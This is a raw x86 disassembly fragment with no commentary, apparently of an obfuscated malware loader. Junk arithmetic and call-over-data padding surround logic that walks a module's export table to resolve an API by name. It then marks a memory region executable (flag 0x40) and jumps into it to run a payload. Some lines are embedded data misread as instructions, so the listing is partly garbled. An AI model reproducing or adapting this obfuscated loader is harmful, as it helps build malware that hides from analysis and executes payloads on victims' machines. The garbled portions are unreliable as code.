or edx, 0xdf39
xor edx, 0x13ea8
pop edx
push edi
or edi, 0x8532
pop edi
mov dword [ebp - 0x114], 0
push ebx
push edi
add esp, 4
and ebx, 0x514a
or ebx, 0x1329e
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0xbf8d
pop esi
push edi
push edi
add esp, 4
sub edi, 0x5f29
pop edi
push edx
xor edx, 0xc69b
pop edx
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x31c], ecx
cmp dword [ebp - 0x31c], 0
jne 0x49e6ac
push ebx
xor ebx, 0xb2db
or ebx, 0xd924
or ebx, 0x7937
jmp 0x49e683
pop ebx
push ecx
push eax
add esp, 4
call 0x49e697
add byte [edi + 0x48], al
dec eax
push eax
dec ebx
dec eax
inc esp
add esp, 4
pop ecx
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0xac], edx
jmp 0x49eb86
mov eax, dword [ebp - 0x31c]
mov ecx, dword [ebp - 0x80]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x320], ecx
jne 0x49e6d1
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0xac], edx
jmp 0x49eb86
push eax
push edx
add esp, 4
or eax, 0x1753
call 0x49e6e9
add byte [eax], bh
inc ebp
xor bh, byte [esi]
cmp dword [edx], esi
dec esp
add esp, 4
pop eax
push edi
push ecx
add esp, 4
jmp 0x49e6fa
pop edi
push edi
add edi, 0x11aa0
pop edi
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x320]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0
jne 0x49e767
push edi
push edi
add esp, 4
and edi, 0x188f
sub edi, 0x206a
or edi, 0xa84c
pop edi
push ebx
and ebx, 0xa997
xor ebx, 0x76ac
xor ebx, 0x17c93
and ebx, 0x7623
pop ebx
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xac], ecx
jmp 0x49eb86
push edi
push esi
add esp, 4
add edi, 0x16afd
sub edi, 0x10462
xor edi, 0xe115
pop edi
push esi
add esi, 0x8189
or esi, 0xcabb
xor esi, 0x6f09
sub esi, 0xbc5e
pop esi
mov edx, dword [ebp - 0x80]
add edx, dword [ebp - 0x324]
mov dword [ebp - 0x100], edx
jne 0x49e7ed
push eax
push edx
add esp, 4
add eax, 0x9edb
call 0x49e7c4
add byte [eax + 0x4c], al
xor eax, 0x474b453a
cmp eax, 0x4c48348
pop eax
push esi
or esi, 0x69ff
sub esi, 0x3551
add esi, 0x11263
pop esi
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0xac], eax
jmp 0x49eb86
mov ecx, dword [ebp - 0x100]
mov edx, dword [ebp - 0x80]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x424], edx
push ebx
push ecx
add esp, 4
add ebx, 0x9dc0
add byte [eax], al
jmp 0x49e813
call 0x49e81f
add byte [ebx + 0x48], al
aaa
cmp byte [edx + 0x3f], cl
add esp, 4
or ebx, 0x9ba5
pop ebx
push ecx
xor ecx, 0x1de9
pop ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x80]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x428], ecx
push esi
and esi, 0xafa8
sub esi, 0x44d3
pop esi
push eax
call 0x49e860
add byte [edx + esi], bh
inc eax
xor al, 0x46
dec eax
cmp cl, byte [ebx - 0x7d]
les eax, [ecx + eax*4]
loopne 0x49e808
movsd dword es:[edi], dword [esi]
add byte [eax], al
pop eax
push edi
jmp 0x49e874
pop edi
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x80]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x104], 0
jmp 0x49e8a2
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
cmp eax, dword [edx + 0x18]
jae 0x49eb7a
push ebx
push ebx
add esp, 4
and ebx, 0x6661
add ebx, 0x2229
and ebx, 0x14886
jmp 0x49e8d6
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x1090d
add edx, 0x15980
pop edx
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x424]
mov eax, dword [ebp - 0x80]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x10c], eax
push edx
push ebx
add esp, 4
jmp 0x49e90f
jmp 0x49e916
or edx, 0x146c3
pop edx
push ecx
or ecx, 0xa223
or ecx, 0x7d6f
pop ecx
push esi
add esi, 0x1357e
pop esi
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x428]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x42c]
mov edx, dword [ebp - 0x80]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x430], edx
push edi
push eax
add esp, 4
or edi, 0x1a2b
pop edi
push edx
xor edx, 0x7a70
pop edx
push ebx
push ecx
add esp, 4
and ebx, 0xb7b3
sub ebx, 0x8b20
or ebx, 0xe276
add ebx, 0x4c9e
pop ebx
mov dword [ebp - 0x3c], 0
jmp 0x49e999
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
test edx, edx
je 0x49ea35
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
test ecx, ecx
je 0x49ea35
push ebx
sub ebx, 0x7cb6
jmp 0x49e9c8
and ebx, 0x64c3
pop ebx
push edi
sub edi, 0xbfd2
pop edi
push ecx
call 0x49e9e4
add byte [ebx + ecx*2], dh
inc esi
inc edi
aaa
add esp, 4
add ecx, 0xf97e
pop ecx
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ebp + ecx - 0x184]
cmp eax, edx
je 0x49ea27
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x3c]
movsx eax, byte [ebp + edx - 0x184]
cmp ecx, eax
jne 0x49ea2e
jmp 0x49e990
jmp 0x49ea35
push edx
push ecx
add esp, 4
xor edx, 0x175f5
or edx, 0x16e6
sub edx, 0x1469b
xor edx, 0x998d
pop edx
push ecx
push ecx
add esp, 4
and ecx, 0x4f07
pop ecx
push ebx
sub ebx, 0xc12b
pop ebx
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
cmp edx, ecx
jne 0x49ea91
mov dword [ebp - 0x258], 0
jmp 0x49eb2c
push edx
push edi
add esp, 4
add edx, 0x78f6
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x1487d
xor ebx, 0x59b2
add ebx, 0x6ebe
add ebx, 0x79c
pop ebx
push eax
sub eax, 0x173c
pop eax
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ebp + ecx - 0x184]
or edx, 0x20
cmp eax, edx
jge 0x49eaf0
mov dword [ebp - 0x258], 0xffffffff
jmp 0x49eb2c
push edi
and edi, 0x34e4
pop edi
push eax
push esi
add esp, 4
and eax, 0x1561b
sub eax, 0x6d5b
xor eax, 0xe380
or eax, 0x15286
pop eax
push esi
push ecx
add esp, 4
sub esi, 0x3684
pop esi
mov dword [ebp - 0x258], 1
cmp dword [ebp - 0x258], 0
jne 0x49eb75
push ebx
push edx
add esp, 4
xor ebx, 0xe190
jmp 0x49eb45
add ebx, 0xc7fa
pop ebx
push ebx
jmp 0x49eb54
and ebx, 0x14ba6
sub ebx, 0x13b71
and ebx, 0x17670
pop ebx
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0xac], eax
jmp 0x49eb86
jmp 0x49e893
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x1bc], edx
lea eax, [ebp - 0x47c]
push eax
push 0x40
mov ecx, dword [ebp - 0x328]
sub ecx, dword [ebp - 0xcc]
push ecx
mov edx, dword [ebp - 0xcc]
push edx
call dword [ebp - 0x1bc]
test eax, eax
jne 0x49ebf0
push edx
push eax
add esp, 4
sub edx, 0x711a
pop edx
push ecx
and ecx, 0x10cb3
sub ecx, 0x29ee
sub ecx, 0xed73
call 0x49ebe7
add byte [eax + 0x45], cl
inc ebp
cmp dword [esi + 0x42], eax
cmp al, 0x46
dec esi
add esp, 4
pop ecx
jmp 0x49ed03
push edi
sub edi, 0x2502
xor edi, 0x2f66
pop edi
push eax
push edi
add esp, 4
add eax, 0x165ef
or eax, 0x125f8
call 0x49ec1e
add byte [edi], bh
inc edx
inc ebx
inc esp
inc eax
inc esi
inc edx
push eax
push eax
add esp, 4
pop eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x438], eax
push eax
or eax, 0xa82d
sub eax, 0x1551b
sub eax, 0x98e6
call 0x49ec4e
add byte [ebp + 0x39], al
cmp al, 0x3e
cmp dword [ecx - 0x7d], ecx
les eax, [eax + ebx*2]
push esi
and esi, 0xec2c
or esi, 0x1820
pop esi
pushal
push ebx
call 0x49ec71
add byte [ecx + 0x38], cl
dec ebx
dec esi
cmp al, 0x4d
cmp al, 0x38
dec ebx
add esp, 4
and ebx, 0xef1
call 0x49ec89
add byte [edi], bh
inc ecx
dec ecx
xor eax, dword [ebp + 0x4f]
inc esp
aas
aaa
add esp, 4
sub ebx, 0x1039e
pop ebx
call dword [ebp - 0x438]
push edx
add edx, 0xfedf
jmp 0x49eca8
xor edx, 0x10dee
sub edx, 0x13f04
pop edx
push edx
or edx, 0x3b6e
pop edx
push esi
sub esi, 0x11bc9
sub esi, 0x8e3
pop esi
popal
push ecx
push eax
add esp, 4
call 0x49ecdf
add byte [ebx], bh
aas
xor dh, byte [esi]
dec esp
xor al, 0x33
dec eax
add esp, 4
pop ecx
push esi
xor esi, 0x17a5
pop esi
push edx
jmp 0x49ecf5
pop edx
push edx
or edx, 0x7897
pop edx